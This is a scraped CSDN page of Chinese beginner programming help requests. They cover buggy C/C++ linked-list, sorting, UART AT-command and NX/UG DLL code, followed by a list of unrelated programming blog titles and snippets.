i2+=1, j2+=1; } i2 = j2 = 1; while ((n1 + j2 <= 8) && (m1 - i2 >= 1)) { vist[m1 - i2][n1 + j2] -= 1; i2+=1, j2+=1; } } void solve_queen(int x) { int i; if (x > 8) { for (i=1;i<= 8;i++) printf("%d ", ans[i]); printf("\n"); } for (i = 1;i <= 8;i++) { if (!vist[i][x]) { ans[x] = i; _vist(i, x); solve_queen(x + 1); _clear(i, x); } } } ```
求助大佬 我真的做自闭了。。
![图片说明](https://img-ask.csdn.net/upload/201905/31/1559314350_73760.png) 不知道为什么总是运行不了。。 (插入函数我没有判断那个条件,因为现在也运行不出来) #include <stdio.h> #define NUM 30 void mybubble(int *pArr,int num) { int i,j,t; for(i=0;i<num-1;i++) { for(j=0;j<num-i-1;j++) { if(pArr[j]>pArr[j+1]) { t=pArr[j+1]; pArr[j+1]=pArr[j]; pArr[j]=t; } } } } int myfind(int *pArr,int key,int num) { int left=0; int right=num-1; int mid; int count=0; while(left<=right) { mid=(left+right)/2; if(pArr[mid]<key) left=mid+1; else if(pArr[mid]>key) right=mid-1; else if(key==pArr[mid]) { return mid; count++; break; } } if(count==0) return -1; } int myinsert(int *pArr,int key,int *num ) { int i,j,index; for(int i=0;i<num;i++){ if(pArr[i]<key && pArr[i+1]>key){ index=i; break; } } for( j=num-1;j>index;j--){ pArr[j]=pArr[j-1]; } pArr[index]=key; return index; } int mydelete(int *pArr,int key,int *num) { int i,j,t,k; for(i=0;i<num;i++) { if(key=pArr[i]) { for(j=i;j<num;j++) { t=pArr[j+1]; pArr[j]=t; } k=i; break; } else k=-1; } return k; } void printarray(int *pArr,int *num) { int i; for(i=0;i<num;i++) printf("\t%d",*pArr++); printf("\n"); } int main() { int MA[NUM]={34,76,23,6,345,234,21,78,172,90}; int nums=10; int mkey,nkey; int k; mybubble(MA,nums);//MA[NUM]=6 21 23 34 76 78 90 172 234 345 scanf("%d",&mkey,&nkey); k=myinsert(MA,mkey,&nums); if(k<0) printf("insert REEOR\n"); else printf("insert SUCCESS\t%d\n",k); k=mydelete(MA,nkey,&nums); if(k<0) printf("delete REEOR\n"); else printf("delete SUCCESS\t%d\n",k); printarray(MA,nums); return 0; }
在devcpp运行不能重复输出并集求求大佬们看看。
第一次在csdn求助!不知道规矩,希望各位大佬能够指点!谢谢大家! 下面是题目和代码,输入完两个集合以后输出两次并集就会出错,还有一个问题是怎么清空链表?? 被这两个问题折磨了一星期le ![图片说明](https://img-ask.csdn.net/upload/201905/22/1558533808_466333.png) ``` #include<stdio.h> #include<malloc.h> #include<stdlib.h> typedef struct node { int data; struct node* next; }node; int lenth(node* head); node* build();//创建链表 int IN_SET(node* p, node* head);//判断新元素是否在链表中存在 node* INSERT_SET(node* head);//插入链表 void output0(node* head); int compare(node* p, node* tail); node* Plus(node* head1, node* head2); int IN_SET(node* head1, node* head2); node* Cross(node* head1, node* head2); node* Oppo(node* head1, node* head2); int main() { node* LA = NULL; node* LB = NULL; node* head_c = NULL; node* head_d = NULL; node* head_e = NULL; int item; while (1) { system("color 9"); printf("\n0-退出 1-编写集合 2-插入元素 3-输出集合"); printf("\n4-输出交集 5-输出并集 6-输出对称差 \n"); printf("请选择要进行的操作:"); scanf("%d", &item); switch (item) { case(0): { exit(0); } case(1): { if (LA != NULL) { printf("已经存在链表!!"); break; } printf("\n创建集合A:"); LA = build(); printf("\n创建完毕"); printf("\n创建集合B:"); LB = build(); printf("\n创建完毕"); break; } case(2): { int t; printf("\n输入1将元素插入集合A,输入2将元素插入集合B:"); scanf("%d", &t); switch (t) { case(1): { LA = INSERT_SET(LA); node* temp1 = LA; while (temp1 != NULL) { printf("%d ", temp1->data); temp1 = temp1->next; } break; } case(2): { LB = INSERT_SET(LB); break; } } break; } case(3): { printf("\n输出A集合:\n"); output0(LA); printf("\n输出B集合:\n"); output0(LB); break; } case(4): { printf("\nA与B的交集为:\n"); head_d = Cross(LA, LB); output0(head_d); break; } case(5): { printf("A与B的并集为:\n"); head_c = Plus(LA, LB); output0(head_c); break; } case(6): { printf("A与B的对称差为:\n"); head_e = Oppo(LA, LB); output0(head_e); break; } } } } node* build() { int size, n = 0; node* head = NULL, * newnode = NULL; //node* MoveP = head; //node* EXMoveP = head; printf("\n请输入该集合大小:"); scanf("%d", &size); while (n < size) { n++; newnode = (node*)malloc(sizeof(node)); newnode->next = NULL; //printf("\n请输入你想增加的元素:"); //scanf("%d", &(newnode->data)); if (head == NULL)//头指针为空,则替换头指针中的值 { printf("\n请输入你想增加的元素:"); scanf("%d", &(newnode->data)); head = newnode; continue; } head = INSERT_SET(head);//用插入排序进行输入 } // MoveP = head;//(测试)输出链表,查看链表存储方式 // // while (MoveP!=NULL) // { // printf("%d ", MoveP->data); // MoveP = MoveP->next; // } return head; } void output0(node * head)//输出函数,已排序的数组从尾部倒着输出 { node* tempnode = head; int len = lenth(head); if (tempnode == NULL) { printf("空集"); return; } for (int i = 0; i < len; i++) { node* tail = head; for (int j = len; (j - i - 1) > 0; j--) { tail = tail->next; } printf("%d ", tail->data); } } int compare(node * p, node * tail)//比较两个传入节点的值的大小 ,前者大于后 者,则返回0,否则返回1。 { if (tail == NULL) return 0; if ((p->data) > (tail->data)) return 0; return 1; } node* INSERT_SET(node * head)//插入链表 { node* Head = head, * tail = head; if (head == NULL)//头指针为空,则说明创建链表不成功,或者未创建链表 { // printf("②"); printf("尚未创建集合,请重新输入"); return head; } while ((tail->next) != NULL)//将尾指针挪到正确位置 { tail = tail->next; } while (1)//无限循环,以下每一种条件都会有出口 { node* p = (node*)malloc(sizeof(p)); p->next = NULL; printf("\n请输入插入的元素:"); scanf("%d", &(p->data)); if (!IN_SET(head, p))//判断新元素是否已经存在 { printf("\n该元素已在集合中,请重新输入另一个值"); free(p); continue; } else { if ((p->data) > (tail->data))//如果新元素大于尾部,直接接上 { tail->next = p; tail = p; return head; } else { node* MoveP = (head->next);//操作指针,用于插入操作的时候连接后半部分链表 node* EXMoveP = head;//操作指针的前一指针,保证能够比较到每一个值 if ((p->data) < (head->data))//如果新元素比头部要小,则插在头部之前 { (p->next) = head; head = p; return head; } while ((EXMoveP->next) != NULL) { if ((p->data) < (MoveP->data))//如果比操作指针要小,则插在操作指针前 { (EXMoveP->next) = p;//先替换掉操作指针前一个指针的next入口,这两行不能打乱次序 (p->next) = MoveP; return head; } MoveP = (MoveP->next); EXMoveP = (EXMoveP->next);//向后拨动指针 } } } } } node* INSERT_SET0(node* head,node* newnode)//插入链表 { node* Head = head, * tail = head; if (head == NULL)//头指针为空,则说明创建链表不成功,或者未创建链表 { return head; } while ((tail->next) != NULL)//将尾指针挪到正确位置 { tail = tail->next; } while (1)//无限循环,以下每一种条件都会有出口 { node* p = (node*)malloc(sizeof(p)); p->data = newnode->data; p->next = NULL; if (!IN_SET(head, p))//判断新元素是否已经存在 { printf("\n该元素已在集合中,请重新输入另一个值"); free(p); return head; } else { if ((newnode->data) < (head->data))//尾部插入 { newnode->next = head; head = newnode; return head; } if ((p->data) > (tail->data))//如果新元素大于尾部,直接接上 { tail->next = p; tail = p; return head; } else { node* MoveP = (head->next);//操作指针,用于插入操作的时候连接后半部分链表 node* EXMoveP = head;//操作指针的前一指针,保证能够比较到每一个值 while ((EXMoveP->next) != NULL) { if ((p->data) < (MoveP->data))//如果比操作指针要小,则插在操作指针前 { (EXMoveP->next) = p;//先替换掉操作指针前一个指针的next入口,这两行不能打乱次序 (p->next) = MoveP; return head; } MoveP = (MoveP->next); EXMoveP = (EXMoveP->next);//向后拨动指针 } } } } } node* Plus(node * head1, node * head2)//取并集 { node* Head1 = head1, * Head2 = head2, * head3 = NULL, * p1 = NULL, * New_tail = NULL; while (Head1 != NULL) { node* p1 = (node*)malloc(sizeof(p1)); p1->next = NULL; (p1->data) = (Head1->data); if (head3 == NULL)//令头部和尾部先重合,以创建新链表 { head3 = p1; New_tail = p1; } else { New_tail->next = p1; New_tail = p1; } Head1 = Head1->next; } Head1 = head1; while (Head2 != NULL) { if (IN_SET(Head1, Head2))//如果Head1(整个链表)和Head2(一个节点)的值不一样,执行,将不一样的值插入新构建的链表中 { head3=INSERT_SET0(head3, Head2); } Head2 = Head2->next; } return head3; } int IN_SET(node * head1, node * head2)//在head1为头部的链表中查找是否有与head2节点的值相等的节点,有返回假(0),没有返回真(1) { node* Head1 = head1, * Head2 = head2; while (Head1 != NULL) { if ((Head1->data) == (Head2->data)) return 0; Head1 = Head1->next; } return 1; } node* Cross(node * head1, node * head2)//取交集 { node* Head1 = head1, * Head2 = head2, * head3 = NULL, * p1 = NULL, * New_tail = NULL; while (Head2 != NULL) { if (0 == IN_SET(Head1, Head2))//若 Head1链表中有与Head2相同的节点,取出,拼接成为新节点 { node* p1 = (node*)malloc(sizeof(p1)); p1->next = NULL; (p1->data) = (Head2->data); if (head3 == NULL) { head3 = p1; New_tail = p1; } else { New_tail->next = p1; New_tail = p1; } } Head2 = Head2->next; } return head3; } node* Oppo(node * head1, node * head2)//求对称差 { node* head3 = NULL, * head4 = NULL, * head5 = NULL, * p1 = NULL, * New_tail = NULL; head4 = Plus(head1, head2); head3 = Cross(head1, head2); while (head4 != NULL) { if (IN_SET(head3, head4))//如果head3与head4链表中的元素不相同,执行 { node* p1 = (node*)malloc(sizeof(p1)); p1->next = NULL; (p1->data) = (head4->data);//把不相同的元素取出,组成新的链表 if (head5 == NULL) { head5 = p1; New_tail = p1; } else { New_tail->next = p1; New_tail = p1; } } head4 = head4->next; } return head5; } int lenth(node * head)//计算链表长度的函数 { node* temp = head; int i = 0; while (temp != NULL) { i++; temp = (temp->next); } return i; } ```
如何用VS2012把一个exe封装成dll并调用?
求助各位大佬,本人小白,刚开始接触编程,用VS2012写了一个小程序,但是现在导师要求我把这个程序封装成一个dll文件,并且要求可以通过网页调用,网页会传送过来四个字符串,我的程序需要根据这四个字符串进行相应的操作。 请问这一点该如何做到。另外我的小程序是UG的外部开发程序,需要在UG安装目录一个特定的文件夹下才能正确运行,不知道这一点会不会有什么影响。 如果可以的话,请各位大佬给我一个详细一点的回答,最好能教我一下其中的原理。 另外这个小程序里面好像不能使用string相关的函数,VS2012总是显示没有指定的类型匹配的重载函数,这个问题也希望能够得到大佬的解答。谢谢! 程序代码如下。 ``` /***************************************************************************** ** ** Tool_Assemble_External.cpp ** ** Description: ** Main file for the application. ** *****************************************************************************/ /* Include files */ #include <stdarg.h> #include <strstream> #include <iostream> using std::ostrstream; using std::endl; using std::ends; using std::cerr; #include <uf.h> #include <uf_ui.h> #include <uf_modl.h> #include <uf_part.h> #include <uf_cfi.h> #include <uf_assem.h> static void ECHO(char *format, ...) { char msg[UF_UI_MAX_STRING_NCHARS+1]; va_list args; va_start(args, format); vsnprintf_s(msg, sizeof(msg), UF_UI_MAX_STRING_NCHARS, format, args); va_end(args); printf(msg); UF_print_syslog(msg, FALSE); } #define UF_CALL(X) (report_error( __FILE__, __LINE__, #X, (X))) static int report_error( char *file, int line, char *call, int irc) { if (irc) { char err[133]; UF_get_fail_message(irc, err); ECHO("*** ERROR code %d at line %d in %s:\n", irc, line, file); ECHO("+++ %s\n", err); ECHO("%s;\n", call); } return(irc); } /* Main routine */ extern void main( char argc, char *argv[] ) { /* Initialize the API environment */ if( UF_CALL(UF_initialize()) ) { /* Failed to initialize */ return; } /* TODO: Add your application code here */ //新建一个一个prt文件 tag_t PartTAG = NULL_TAG; UF_CALL(UF_PART_new("D:\\Program Files\\Siemens\\NX 10.0\\SECONDARY_DEVELOPMENT\\DateBase\\Temp\\Newpart.prt", UF_PART_METRIC, &PartTAG)); printf("第一步,新建一个prt部件!\n"); //导入刀柄 UF_import_part_modes_t modes; modes.layer_mode = 0; modes.group_mode = 0; modes.view_mode = 0; modes.cam_mode = false; double dest_csys0 [ 6 ] = {1.0, 0.0, 0.0, 0.0, 0.0, 1.0}; //由三个坐标值确定的X方向和Y方向,笛卡尔坐标系,确定两个就能确定第三个坐标方向 double dest_point0 [ 3 ] = {0.0, 0.0, 0.0,}; //导入的原点 double scale0 = 1.0; //缩放比例 tag_t group0 = NULL_TAG; UF_CALL(UF_PART_import("D:\\Program Files\\Siemens\\NX 10.0\\SECONDARY_DEVELOPMENT\\DateBase\\ToolBase\\刀柄库\\BT40-ER32-100.prt", &modes, dest_csys0, dest_point0, scale0, &group0)); printf("第二步,导入刀柄\n"); //导入夹套 UF_import_part_modes_t modes1; modes1.layer_mode = 0; modes1.group_mode = 0; modes1.view_mode = 0; modes1.cam_mode = false; double dest_csys1 [ 6 ] = {1.0, 0.0, 0.0, 0.0, 0.0, 1.0}; //由三个坐标值确定的X方向和Y方向,笛卡尔坐标系,确定两个就能确定第三个坐标方向 double dest_point1 [ 3 ] = {0.0, 0.0, 0.0,}; //导入的原点 double scale1 = 1.0; //缩放比例 tag_t group1 = NULL_TAG; UF_CALL(UF_PART_import("D:\\Program Files\\Siemens\\NX 10.0\\SECONDARY_DEVELOPMENT\\DateBase\\ToolBase\\夹套库\\ER32-10.prt", &modes1, dest_csys1, dest_point1, scale1, &group1)); printf("第三步,导入夹套!"); //导入刀杆 UF_import_part_modes_t modes2; modes2.layer_mode = 0; modes2.group_mode = 0; modes2.view_mode = 0; modes2.cam_mode = false; double dest_csys2 [ 6 ] = {1.0, 0.0, 0.0, 0.0, 0.0, 1.0}; //由三个坐标值确定的X方向和Y方向,笛卡尔坐标系,确定两个就能确定第三个坐标方向 double dest_point2 [ 3 ] = {0.0, -50.0, 0.0,}; //导入的原点 double scale2 = 1.0; //缩放比例 tag_t group2 = NULL_TAG; UF_CALL(UF_PART_import("D:\\Program Files\\Siemens\\NX 10.0\\SECONDARY_DEVELOPMENT\\DateBase\\ToolBase\\刀杆库\\266RKF-D10.prt", &modes2, dest_csys2, dest_point2, scale2, &group2)); printf("第四步,导入刀杆!"); UF_CALL(UF_PART_save_as("D:\\Program Files\\Siemens\\NX 10.0\\SECONDARY_DEVELOPMENT\\DateBase\\Temp\\ToolNum.stp")); UF_CALL(UF_PART_close(PartTAG, 0, 1)); printf("保存文件!"); /* Terminate the API environment */ UF_CALL(UF_terminate()); } /***************************************************************************** ** Utilities *****************************************************************************/ ```
STC15串口通信识别接收的消息需要发十次才有反应,求大佬帮忙看看.....?
只有开机之后第一个识别消息(OK)发送一次就反应,之后就需要10次。我把"OK"改成过"CONNECT OK",就只需发两次就有反应。下面是程序代码,求助。 ``` #define Uart2_Buf_Max 20 //串口数据缓存长度 u8 xdata Uart2_Rec_Buf[Uart2_Buf_Max]; //串口数据缓存 u8 point2 = 0; //绶存指针 bit B_TX2_Busy = 0; //发送忙标志 void main(void) { GPIO_config(); UartInit(); CLR_Buf(); while(1) { Uart2SendString("AT"); huanhang(); while(Hand("ok")==0) delay_ms(10); CLR_Buf(); Uart2SendString("AT+CIPSTART=\"TCP\",\"e248w87733.wicp.vip\",57902"); huanhang(); CLR_Buf(); while(Hand("ok")==0) delay_ms(10); CLR_Buf(); Uart2SendString("AT"); while(Hand("ok" )==0) delay_ms(10); CLR_Buf(); huanhang(); Uart2SendString("well") ; huanhang(); while(Hand("ok")==0) delay_ms(10); CLR_Buf(); } ``` ``` /*---------------------------- 通过串口2发送串口数据 ----------------------------*/ void Uart2SendData(unsigned char ch) { while(B_TX2_Busy); //不忙后发送数据 S2BUF = ch; //写数据到UART数据寄存器 B_TX2_Busy = 1; } /*---------------------------- 通过串口2发送字符串 ----------------------------*/ void Uart2SendString(char *s) { while (*s) //检测字符串结束标志 { Uart2SendData(*s++); //发送当前字符 } } bit Uart2Hand(unsigned char *a) // 串口命令识别函数 { if(strstr(Uart2_Rec_Buf,a)!=NULL) return 1; else return 0; } void Uart2CLR_Buf(void) // 串口缓存清理 { memset(Uart2_Rec_Buf, 0, Uart2_Buf_Max); //清空 point2 = 0; } ```
为什么我的链表在运行时会卡死或者无法存取信息?
c语言中的链表出了些小问题,运行程序是会卡死 ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #include"struct.h"//专门存放结构体 void register_show(); void success_show(); void order_check_show(); void no_order_show(); //都为显示函数 无影响 int register_add(peo *a,peo *b) { system("cls"); register_show(); int career; scanf("%d",&career); peo *pnew,*p;//想用链表 pnew=(peo *)malloc(sizeof(peo)); p=(peo *)malloc(sizeof(peo)); scanf("%s",pnew->id); fflush(stdin); scanf("%s",pnew->name); fflush(stdin); if(a==NULL) { a=pnew; } else { p=a; while(p!=NULL) { if(strcmp(p->id,pnew->id)==0) { printf("此账号已经被注册!"); return 0; } p=p->next; } p=pnew; pnew->next=NULL; } p=a; while(p!=NULL) { printf("%s",p->id); p=p->next; } free(p); free(pnew); system("cls"); success_show(); system("pause"); return 1; } /*typedef struct people{ char name[10]; char id[10]; struct people * next; }peo; */ //结构体如上 ``` 我想用建立一个链表来存储我的人员信息,但是每次存完发现最多只有一个人员的信息(就是存了两个就会发现其中一个信息没了)。 so我就想输出出来看我保存的东西是不是有问题,结果现在发现这个程序就直接卡死了。(×_×) 这个就有意思了,凭我的直觉,一定是我的链表或定义出了问题,但是奈何我这个大萌新是真的找不到什么错误(好吧!其实是学业不精,链表里面的一些注意点没学会)叹气! 现在我只能求助于各位大神,希望大家能够帮我看看到底是出了什么问题,当然顺便再和我说说关于c语言的链表的知识就更好了(当然,我是绝对不敢要求各为大佬的,只是我的一个小小的请求)最后 拜托了 希望大佬们把我从害怕链表的日子里救出来吧!!!
130 个相见恨晚的超实用网站,一次性分享出来
文末没有公众号,只求 点赞 + 关注 搞学习 知乎:www.zhihu.com 大学资源网:http://www.dxzy163.com/ 简答题:http://www.jiandati.com/ 网易公开课:https://open.163.com/ted/ 网易云课堂:https://study.163.com/ 中国大学MOOC:www.icourse163.org 网易云课堂:stu
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私有的数
win10系统安装教程(U盘PE+UEFI安装)
一、准备工作 u盘,电脑一台,win10原版镜像(msdn官网) 二、下载wepe工具箱  极力推荐微pe(微pe官方下载) 下载64位的win10 pe,使用工具箱制作启动U盘打开软件,   选择安装到U盘(按照操作无需更改) 三、重启进入pe系统   1、关机后,将U盘插入电脑 2、按下电源后,按住F12进入启动项选择(技嘉主板是F12)     选择需要启
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、PDF搜索网站推荐 对于大部
C语言魔塔游戏
很早就很想写这个,今天终于写完了。 游戏截图: 编译环境: VS2017 游戏需要一些图片,如果有想要的或者对游戏有什么看法的可以加我的QQ 2985486630 讨论,如果暂时没有回应,可以在博客下方留言,到时候我会看到。 下面我来介绍一下游戏的主要功能和实现方式 首先是玩家的定义,使用结构体,这个名字是可以自己改变的 struct gamerole { char n
java源码分析 Arrays.asList()与Collections.unmodifiableList()
举个栗子 本章示例代码来自java编程思想——17.4.1未获支持的操作——Unsupported类。 import java.util.*; public class Unsupported { static void test(String msg, List&lt;String&gt; list) { System.out.println("--- " + msg
究竟你适不适合买Mac?
我清晰的记得,刚买的macbook pro回到家,开机后第一件事情,就是上了淘宝网,花了500元钱,找了一个上门维修电脑的师傅,上门给我装了一个windows系统。。。。。。 表砍我。。。 当时买mac的初衷,只是想要个固态硬盘的笔记本,用来运行一些复杂的扑克软件。而看了当时所有的SSD笔记本后,最终决定,还是买个好(xiong)看(da)的。 已经有好几个朋友问我mba怎么样了,所以今天尽量客观
Python爬虫爬取淘宝,京东商品信息
小编是一个理科生,不善长说一些废话。简单介绍下原理然后直接上代码。 使用的工具(Python+pycharm2019.3+selenium+xpath+chromedriver)其中要使用pycharm也可以私聊我selenium是一个框架可以通过pip下载 pip install selenium -i https://pypi.tuna.tsinghua.edu.cn/simple/ 
Java学习笔记(七十二)—— Cookie
概述 会话技术: 会话:一次会话中包含多次请求和响应 一次会话:浏览器第一次给服务器发送资源请求,会话建立,直到有一方断开为止 功能:在一次会话的范围内的多次请求间,共享数据 方式: 客户端会话技术:Cookie,把数据存储到客户端 服务器端会话技术:Session,把数据存储到服务器端 Cookie 概念:客户端会话技术,将数据存储到客户端 快速入门: 使用步骤: 创建C
程序员写了一个新手都写不出的低级bug,被骂惨了。
你知道的越多,你不知道的越多 点赞再看,养成习惯 本文 GitHub https://github.com/JavaFamily 已收录,有一线大厂面试点思维导图,也整理了很多我的文档,欢迎Star和完善,大家面试可以参照考点复习,希望我们一起有点东西。 前前言 为啥今天有个前前言呢? 因为你们的丙丙啊,昨天有牌面了哟,直接被微信官方推荐,知乎推荐,也就仅仅是还行吧(心里乐开花)
Java工作4年来应聘要16K最后没要,细节如下。。。
前奏: 今天2B哥和大家分享一位前几天面试的一位应聘者,工作4年26岁,统招本科。 以下就是他的简历和面试情况。 基本情况: 专业技能: 1、&nbsp;熟悉Sping了解SpringMVC、SpringBoot、Mybatis等框架、了解SpringCloud微服务 2、&nbsp;熟悉常用项目管理工具:SVN、GIT、MAVEN、Jenkins 3、&nbsp;熟悉Nginx、tomca
2020年,冯唐49岁:我给20、30岁IT职场年轻人的建议
点击“技术领导力”关注∆  每天早上8:30推送 作者| Mr.K   编辑| Emma 来源| 技术领导力(ID:jishulingdaoli) 前天的推文《冯唐:职场人35岁以后,方法论比经验重要》,收到了不少读者的反馈,觉得挺受启发。其实,冯唐写了不少关于职场方面的文章,都挺不错的。可惜大家只记住了“春风十里不如你”、“如何避免成为油腻腻的中年人”等不那么正经的文章。 本文整理了冯
程序员该看的几部电影
##1、骇客帝国(1999) 概念:在线/离线,递归,循环,矩阵等 剧情简介: 不久的将来,网络黑客尼奥对这个看似正常的现实世界产生了怀疑。 他结识了黑客崔妮蒂,并见到了黑客组织的首领墨菲斯。 墨菲斯告诉他,现实世界其实是由一个名叫“母体”的计算机人工智能系统控制,人们就像他们饲养的动物,没有自由和思想,而尼奥就是能够拯救人类的救世主。 可是,救赎之路从来都不会一帆风顺,到底哪里才是真实的世界?
蓝桥杯知识点汇总:基础知识和常用算法
文章目录JAVA基础语法:算法竞赛常用的JAVA API:基础算法待更: 此系列包含蓝桥杯所考察的绝大部分知识点,一共有基础语法,常用API,基础算法和数据结构,和往年真题四部分,虽然语言以JAVA为主,但算法部分是相通的,C++组的小伙伴也可以看哦。所有文章的链接都会在此公布,还有很多没有更新,会持续更新,如果大佬发现文章有错误的地方请指正,我会十分感谢。另外,有什么问题可私信我~ JAVA基础
作为一个程序员,CPU的这些硬核知识你必须会!
CPU对每个程序员来说,是个既熟悉又陌生的东西? 如果你只知道CPU是中央处理器的话,那可能对你并没有什么用,那么作为程序员的我们,必须要搞懂的就是CPU这家伙是如何运行的,尤其要搞懂它里面的寄存器是怎么一回事,因为这将让你从底层明白程序的运行机制。 随我一起,来好好认识下CPU这货吧 把CPU掰开来看 对于CPU来说,我们首先就要搞明白它是怎么回事,也就是它的内部构造,当然,CPU那么牛的一个东
破14亿,Python分析我国存在哪些人口危机!
2020年1月17日,国家统计局发布了2019年国民经济报告,报告中指出我国人口突破14亿。 猪哥的朋友圈被14亿人口刷屏,但是很多人并没有看到我国复杂的人口问题:老龄化、男女比例失衡、生育率下降、人口红利下降等。 今天我们就来分析一下我们国家的人口数据吧! 一、背景 1.人口突破14亿 2020年1月17日,国家统计局发布了 2019年国民经济报告 ,报告中指出:年末中国大陆总人口(包括31个
实现简单的轮播图(单张图片、多张图片)
前言 刚学js没多久,这篇博客就当做记录了,以后还会完善的,希望大佬们多多指点。ps:下面出现的都是直接闪动,没有滑动效果的轮播图。 单张图片的替换 原理 1.将几张图片叠在一起,通过改变"display:block"和"display:none"这两个属性实现替换。 (前提:在css中给所有图片加上display:none属性) 2.不用将图片叠在一起,将一个div当做"窗口",通过"of
强烈推荐10本程序员在家读的书
很遗憾,这个鼠年春节注定是刻骨铭心的,新型冠状病毒让每个人的神经都是紧绷的。那些处在武汉的白衣天使们,尤其值得我们的尊敬。而我们这些窝在家里的程序员,能不外出就不外出,就是对社会做出的最大的贡献。 有些读者私下问我,窝了几天,有点颓丧,能否推荐几本书在家里看看。我花了一天的时间,挑选了 10 本我最喜欢的书,你可以挑选感兴趣的来读一读。读书不仅可以平复恐惧的压力,还可以对未来充满希望,毕竟苦难终
Linux自学篇——linux命令英文全称及解释
man: Manual 意思是手册,可以用这个命令查询其他命令的用法。 pwd:Print working directory 显示当前目录 su:Swith user 切换用户,切换到root用户 cd:Change directory 切换目录 ls:List files 列出目录下的文件 ps:Process Status 进程状态 mk
Python实战:抓肺炎疫情实时数据,画2019-nCoV疫情地图
文章目录1. 前言2. 数据下载3. 数据处理4. 数据可视化 1. 前言 今天,群里白垩老师问如何用python画武汉肺炎疫情地图。白垩老师是研究海洋生态与地球生物的学者,国家重点实验室成员,于不惑之年学习python,实为我等学习楷模。先前我并没有关注武汉肺炎的具体数据,也没有画过类似的数据分布图。于是就拿了两个小时,专门研究了一下,遂成此文。 2月6日追记:本文发布后,腾讯的数据源多次变更u
智力题(程序员面试经典)
NO.1  有20瓶药丸,其中19瓶装有1克/粒的药丸,余下一瓶装有1.1克/粒的药丸。给你一台称重精准的天平,怎么找出比较重的那瓶药丸?天平只能用一次。 解法 有时候,严格的限制条件有可能反倒是解题的线索。在这个问题中,限制条件是天平只能用一次。 因为天平只能用一次,我们也得以知道一个有趣的事实:一次必须同时称很多药丸,其实更准确地说,是必须从19瓶拿出药丸进行称重。否则,如果跳过两瓶或更多瓶药
Java与Python学习通法(1)和(2)序言和编程语言发展史怎么学
大家好,我是 jacky 朱元禄,很高兴跟大家一起学习 《Java与Python学习通法系列》。 首先,说一下,我为什么要录这个课; 我们都已经知道Java 和 Python的视频教程和书籍,可以说是非常非常多了,那我录制本系列课的意义是什么呢? (1)课程特色一:我想告诉大家学习编程语言是有捷径的,这个捷径就是 理解技术背后的“哲学逻辑”,或者说是“人文逻辑”,相信你听完 jack
在家远程办公效率低?那你一定要收好这个「在家办公」神器!
相信大家都已经收到国务院延长春节假期的消息,接下来,在家远程办公可能将会持续一段时间。 但是问题来了。远程办公不是人在电脑前就当坐班了,相反,对于沟通效率,文件协作,以及信息安全都有着极高的要求。有着非常多的挑战,比如: 1在异地互相不见面的会议上,如何提高沟通效率? 2文件之间的来往反馈如何做到及时性?如何保证信息安全? 3如何规划安排每天工作,以及如何进行成果验收? ......
作为一个程序员,内存和磁盘的这些事情,你不得不知道啊!!!
截止目前,我已经分享了如下几篇文章: 一个程序在计算机中是如何运行的?超级干货!!! 作为一个程序员,CPU的这些硬核知识你必须会! 作为一个程序员,内存的这些硬核知识你必须懂! 这些知识可以说是我们之前都不太重视的基础知识,可能大家在上大学的时候都学习过了,但是嘞,当时由于老师讲解的没那么有趣,又加上这些知识本身就比较枯燥,所以嘞,大家当初几乎等于没学。 再说啦,学习这些,也看不出来有什么用啊!
阿里架构师花近十年时间整理出来的Java核心知识pdf(Java岗)
由于细节内容实在太多啦,所以只把部分知识点截图出来粗略的介绍,每个小节点里面都有更细化的内容! 整理了一份Java核心知识点。覆盖了JVM、锁、并发、Java反射、Spring原理、微服务、Zookeeper、数据库、数据结构等大量知识点。       欢迎大家加入java学习交流社区  点击加入   可获取文中文档       小编推荐:     
Python基础知识点梳理
python基础知识点梳理 摘要: 本文主要介绍一些平时经常会用到的python基础知识点,用于加深印象,也算是对于学习这门语言的一个总结与回顾。python的详细语法介绍可以查看官方编程手册,也有一些在线网站对python语法进行了比较全面的介绍,比如菜鸟教程: python3 教程|菜鸟教程 为了方便聚焦知识点,本文涉及的操作实例并不多,想学好一门语言关键还得自己多编码多实践。 python语
2020年2月全国程序员工资统计,平均工资13716元
趋势 2020年2月,中国大陆程序员平均工资13716元,比上个月增加。具体趋势如图: 各主要程序员城市工资变化 城市 北京,上海,深圳,杭州,广州四地的工资最高。 city 平均工资 最低工资 中位数 最高工资 招聘人数 百分比 北京 18098 3750 15000 45000 20529 9.53% 深圳 16903 5750 15000 37500 30941 14
Java坑人面试题系列: 包装类(中级难度)
Java Magazine上面有一个专门坑人的面试题系列: https://blogs.oracle.com/javamagazine/quiz-2。 这些问题的设计宗旨,主要是测试面试者对Java语言的了解程度,而不是为了用弯弯绕绕的手段把面试者搞蒙。 如果你看过往期的问题,就会发现每一个都不简单。 这些试题模拟了认证考试中的一些难题。 而 “中级(intermediate)” 和 “高级(ad
为什么说程序员做外包没前途?
之前做过不到3个月的外包,2020的第一天就被释放了,2019年还剩1天,我从外包公司离职了。我就谈谈我个人的看法吧。首先我们定义一下什么是有前途 稳定的工作环境 不错的收入 能够在项目中不断提升自己的技能(ps:非技术上的认知也算) 找下家的时候能找到一份工资更高的工作 如果你目前还年轻,但高不成低不就,只有外包offer,那请往下看。 外包公司你应该
基于Python的人脸自动戴口罩系统
